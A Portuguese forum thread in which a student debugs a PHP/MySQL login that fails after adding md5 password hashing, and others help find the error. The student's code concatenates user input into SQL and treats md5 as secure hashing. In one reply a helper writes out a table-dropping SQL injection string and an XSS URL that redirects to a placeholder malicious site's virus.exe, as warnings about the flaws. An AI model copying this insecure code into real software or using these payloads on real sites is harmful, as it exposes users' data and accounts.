Jump to content
  • Revista PROGRAMAR: Já está disponível a edição #60 da revista programar. Faz já o download aqui!

ark15

Problema Com md5

Recommended Posts

ark15

Para a minha PAP necessito de um login , Criei um e consigo adicionar membros e Fazer o login de cada um com sucesso, para aumentar a segurança de cada membro , decidi usar o md5 nas senhas de cada utilizador, mas por algum motivo depois de por  o md5  ele nunca efectua o login :/ se tirar o md5 já faz o login (dos membros que tinha registado antes do md5) .

alguem me podia dizer onde estou a errar? ?! :/

Os códigos  são os seguintes:

insere.php

<?
	$host = "localhost"; // emdereço para mySql
	$user = "root"; // Usuario para conexáo
	$pass = ""; //Password para o usuario
	$base = "pap"; //Base de dados da conexão
	$con = mysql_connect ($host,$user,$pass) ;	
	$db = mysql_select_db($base,$con) ;	


	$login = $_POST['login'];
	$senha = md5($_POST['senha']);
	$registo = mysql_query ("INSERT INTO login VALUES('', '$login', '$senha') ", $con );

   

		if ($_POST['Submit'])
		{
			$con = mysql_query ($registo);
			echo "Estás Registado";
		}
		else 
		{
			header("Location: index.php");
		}


?>

logar.php

<? 

include "configuracao.php"; 
class login {

var $login;
var $senha;

function logar (){
		$this->login 	= $_POST['login'];
		$this->senha 	= md5($_POST['senha']);
		$consulta		= mysql_query("SELECT * FROM login WHERE login_user = '".$this->login."' AND senha_user = '".$this->senha."' ");
		$num_registro   = mysql_num_rows($consulta);

		if ($num_registro !=0 ) { // Se retornou algo e porque os dados estao corretos em $num_registro = 1 emtao e !=0 (diferente de 0 )
		$resultado = mysql_fetch_array($consulta); // Cria um array de todos os dados do usuario
		@session_start(); //inicio a sessao do usuario e as crio;  @ para não mostrar os erros que ha na criação de session
		$_SESSION['login'] = $resultado['login_user']; // Fiz uma sessão para o usuario chamada de login que contem o valor do login do usuario
		header ("Location: ../area_cliente/index.php");
		return true;
		} else{
		header ("Location: ../index.php?erro=Senha ou Login Estam Incorretos");
		return false;
		}

}



function sair(){
		@session_start();
		@session_destroy();
		header ("Location: index.php?erro=Logout Efetuado com Sucesso");

}






}

$acao = $_GET['acao'];
$login = new login;

switch ($acao){

case "logar":
$login->logar();
break;

case "sair":
$login->sair();
break;


}

?>

Agradeço desde Já []s

Share this post


Link to post
Share on other sites
pedrotuga

Tirando uns pequenos detalhes que eventualmente quererás melhorar, parece-me que o query está bem. Não estou a ver o que pode estar mal mas tambem pode ser muita coisa: nomes de colunas errados, registos repetidos.

Vamos então encontrar o erro. A primeira coisa a fazer neste caso: manda o query para o output para poderes ver o conteudo dele, logo aí podes ver se há alguma coisa estranha. Se não houver testa-o manualmente na base de dados.

Share this post


Link to post
Share on other sites
ark15

Mas só me ocorre erro ao meter o md5 ou seja,

se meter assim no insere.php :

$senha = md5($_POST['senha']);

e no logar.php

$this->senha 	= md5($_POST['senha']);

ele dá erro, e tirando o "md5" e os parentises nos 2 ele já regista e efectua a entrada sem qualquer erro.

Desculpa , sou iniciante, podes me explicar como faço o " query para o output".

obrigado pela tua resposta :thumbsup:

Share this post


Link to post
Share on other sites
pmg

Qual é o erro que ele dá?

Mete

error_reporting(E_ALL);

logo a seguir ao primeiro tag de php do teu script.

Logo a seguir ao query, verifica as mensagens do SQL

$consulta = mysql_query(...
if (!$consulta) echo mysql_error();


What have you tried?

Não respondo a dúvidas por PM

A minha bola de cristal está para compor; deve ficar pronta para a semana.

Torna os teus tópicos mais atractivos e legíveis usando a tag CODE para colorir o código!

Share this post


Link to post
Share on other sites
ark15

o erro que dá é que não consigo efectuar o login com o script md5. consigo registar o Utilizador e guarda-me a passe  como md5 , mas vou efectuar o login e ele não entra, diz que a senha esta errada.

mas se tirar o Md5 , consigo registar e efectuar o Login com sucesso. ou seja , o meu problema só é que não consigo efectuar o login se guardar a senha como md5.

Share this post


Link to post
Share on other sites
pmg

Qual é a password que está na base de dados?

Supoe que tens um utilizador com o username="pmg" e password="qWeRtY6%4#2!"

A base de dados tem "qWeRtY6%4#2!" ou "22b2c5d63de8180bbb7f385aef72ea67"?


What have you tried?

Não respondo a dúvidas por PM

A minha bola de cristal está para compor; deve ficar pronta para a semana.

Torna os teus tópicos mais atractivos e legíveis usando a tag CODE para colorir o código!

Share this post


Link to post
Share on other sites
ark15

Já fiz o que tinhas falado , pus assim :

<? 
error_reporting(E_ALL);
include "configuracao.php"; 
class login {

var $login;
var $senha;



function logar (){
		$this->login 	= $_POST['login'];
		$this->senha 	= md5($_POST[$senha]['senha']);
		$consulta		= mysql_query("SELECT * FROM login WHERE login_user = '".$this->login."' AND senha_user = '".$this->senha."' ");
		if (!$consulta)
		{
			echo mysql_error();
			}

		$num_registro   = mysql_num_rows($consulta);



		if ($num_registro !=0 ) { // Se retornou algo e porque os dados estao corretos em $num_registro = 1 emtao e !=0 (diferente de 0 )
		$resultado = mysql_fetch_array($consulta); // Cria um array de todos os dados do usuario
		@session_start(); //inicio a sessao do usuario e as crio;  @ para não mostrar os erros que ha na criação de session
		$_SESSION['login'] = $resultado['login_user']; // Fiz uma sessão para o usuario chamada de login que contem o valor do login do usuario
		header ("Location: ../area_cliente/index.php");
		return true;
		} else{
		header ("Location: ../index.php?erro=Senha ou Login Estam Incorretos");
		return false;
		}

}


function sair(){
		@session_start();
		@session_destroy();
		header ("Location: index.php?erro=Logout Efetuado com Sucesso");

}






}

$acao = $_GET['acao'];
$login = new login;

switch ($acao){

case "logar":
$login->logar();
break;

case "sair":
$login->sair();
break;


}

?>

e o erro que me dá é :

Notice: Undefined index acao in C:\.... on line 51.

Share this post


Link to post
Share on other sites
pmg

Então tá resolvido o teu problema com md5 ... ou melhor: ficamos sem saber se há um problema com o md5, já que o teu problema é de qualquer coisa que acontece na linha 51 ... antes do script passar pelo md5.


What have you tried?

Não respondo a dúvidas por PM

A minha bola de cristal está para compor; deve ficar pronta para a semana.

Torna os teus tópicos mais atractivos e legíveis usando a tag CODE para colorir o código!

Share this post


Link to post
Share on other sites
pmg

De nada LOL

Conseguiste por o script a funcionar? Com e sem md5?


What have you tried?

Não respondo a dúvidas por PM

A minha bola de cristal está para compor; deve ficar pronta para a semana.

Torna os teus tópicos mais atractivos e legíveis usando a tag CODE para colorir o código!

Share this post


Link to post
Share on other sites
ark15

Sem md5 sempre funcionou, mas como quero tornar isto mais seguro estou a tentar fazer com que o md5 funcione, não percebo o  erro , estou a fazer tudo direitinho, já vi vários exemplos e estou a fazer igual :/ não percevo

Share this post


Link to post
Share on other sites
pmg

Essa parte do estares a fazer igual com e sem md5 é que me dá cabo da cabeça :|

Quanto clicas para fazer o login, com e sem md5, quais são os parametros do endereço (a parte do endereço que vem a seguir ao "?")?

... experimenta fazer um trim à password antes de lhe aplicares o md5

$this->senha 	= md5(trim($_POST['senha']));


What have you tried?

Não respondo a dúvidas por PM

A minha bola de cristal está para compor; deve ficar pronta para a semana.

Torna os teus tópicos mais atractivos e legíveis usando a tag CODE para colorir o código!

Share this post


Link to post
Share on other sites
ark15

Olha , o trim resultou :thumbsup:

e a parte de fazer com md5 e sem deves estar a pensar errado, porque eu fiz primeiro normal, a guardar dados na base de dados e depois ao fazer o login ir buscados a base de dados , depois o meu professor chamou-me a atensãp da segurança que eu devia de ter no sistema de login, e ai tentei modificar para md5 ao guardar a passe.

Share this post


Link to post
Share on other sites
pmg

O trim foi a única coisa que me lembrei que pudesse ter alguma influência.

Para o MySQL, as string "dois" e "dois " (tem um espaço no fim) são iguais, mas para o md5 são diferentes

select "dois "="dois";
+----------------+
| "dois "="dois" |
+----------------+
|              1 |
+----------------+
1 row in set (0.00 sec)

md5("dois") == "cdfb25b863a7124fa5b95da977267044"

md5("dois ") == "4a2ea02d4a3f9734879edf2a91a10dc0"

Se calhar era bom reveres os teus formulários :thumbsup:


What have you tried?

Não respondo a dúvidas por PM

A minha bola de cristal está para compor; deve ficar pronta para a semana.

Torna os teus tópicos mais atractivos e legíveis usando a tag CODE para colorir o código!

Share this post


Link to post
Share on other sites
pmg

Não sei exactamento donde ... mas alguma coisa está a por o espaço a mais na password.

Com a solução do trim, não é possível ter uma password que comece ou acabe em espaços :thumbsup:


What have you tried?

Não respondo a dúvidas por PM

A minha bola de cristal está para compor; deve ficar pronta para a semana.

Torna os teus tópicos mais atractivos e legíveis usando a tag CODE para colorir o código!

Share this post


Link to post
Share on other sites
softklin

Não consegui perceber se já resolveste ou não, mas aqui vão umas coisas na tua função logar:

Linha 2 (da função)

$this->senha = md5($_POST[$senha]['senha']);

Aquele $_POST[$senha]['senha'] não deveria ser $_POST['senha']?

Linha 3

mysql_query("SELECT * FROM login WHERE login_user = '".$this->login."' AND senha_user = '".$this->senha."' ")

O que acontece se o meu login tiver o conteúdo '; drop table login; #--  ? (apaga a tabela)

Ver artigo: http://wiki.portugal-a-programar.org/revistaprogramar_arquivo:11_edicao:vulnerabilidades_em_aplicacoes_web

Linha x

header ("Location: ../index.php?erro=Senha ou Login Estam Incorretos");

Estou mesmo a ver o que acontece na página index.php... echo $_GET['erro'], não é? Experimenta aceder à página com o seguinte request

/index.php?erro=<script>window.location='http://sitemalicioso.com/download/virus.exe'</script>

Tens de ter em atenção estes pequenos pormenores de segurança, senão vai ser mais uma página para os hackers andarem a brincar...


Nick antigo: softclean | Tens um projeto? | Wiki P@P

Ajuda a comunidade! Se encontrares algo de errado, usa a opção "Denunciar" por baixo de cada post.

Share this post


Link to post
Share on other sites
ark15

Não sei exactamento donde ... mas alguma coisa está a por o espaço a mais na password.

Com a solução do trim, não é possível ter uma password que comece ou acabe em espaços :thumbsup:

Já vi o erro que estava a fazer, no insere.php e estava a meter:

$registo = mysql_query ("INSERT INTO login VALUES('', '$login', '$senha') ", $con );

e tem umas plicas a mais antes do '$login', meti

$registo = mysql_query ("INSERT INTO login VALUES( '$login', '$senha') ", $con );

e funcionou direitinho sem o trim.

softclean , estou a ver agora o que me dizes-te , obrigado pela chamada de atensão, vou ler e "estudar"  todo para melhorar o meu código.

Obrigado pela vossa ajuda :P

Share this post


Link to post
Share on other sites
ark15

softclean, tentei meter o  que request que dizes-te e não acontece nada , manda-me efectuar o login primeiro .

o que era suposto acontecer?

Share this post


Link to post
Share on other sites
softklin

Então é porque não está vulnerável, ou porque me enganei :P (não faço isto com frequência).

De qualquer modo, suponho que saibas o que são sessões, recomendava-te a usá-las para essa mensagens, em vez de as passares no url (até porque no url podem ser modificadas, foi o que tentei fazer no exemplo de cima). O artigo da wiki aborda isto e muito mais, recomendo-te a leres com atenção.  :thumbsup:

login.php

....
$_SESSION['mensagem'] = "Login efectuado com sucesso!";

index.php

....
if (!empty($_SESSION['mensagem'])) {
    echo $_SESSION['mensagem'];
}


Nick antigo: softclean | Tens um projeto? | Wiki P@P

Ajuda a comunidade! Se encontrares algo de errado, usa a opção "Denunciar" por baixo de cada post.

Share this post


Link to post
Share on other sites
ark15

Já tirei uma noções básicas no  artigo da wiki, já estou a mudar conteúdos no meu script para melhorar a segurança , ainda esta semana penso Por a minha Pap online para se alguem eventualmente quiser testar a segurança do site, para eu poder melhor os meus scripts e aprender sempre mais de php , pois ainda me encontro no inicio . Ah claro , e espero não estar a cometer nenhuma infracção ao pedir para testarem a segurança do meu site , não quero tornar este fórum de piratas ou algo do género :/ porque não é essa a minha intenção.

Cmps e obrigado pela Vossa Ajuda e dicas ;)     

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.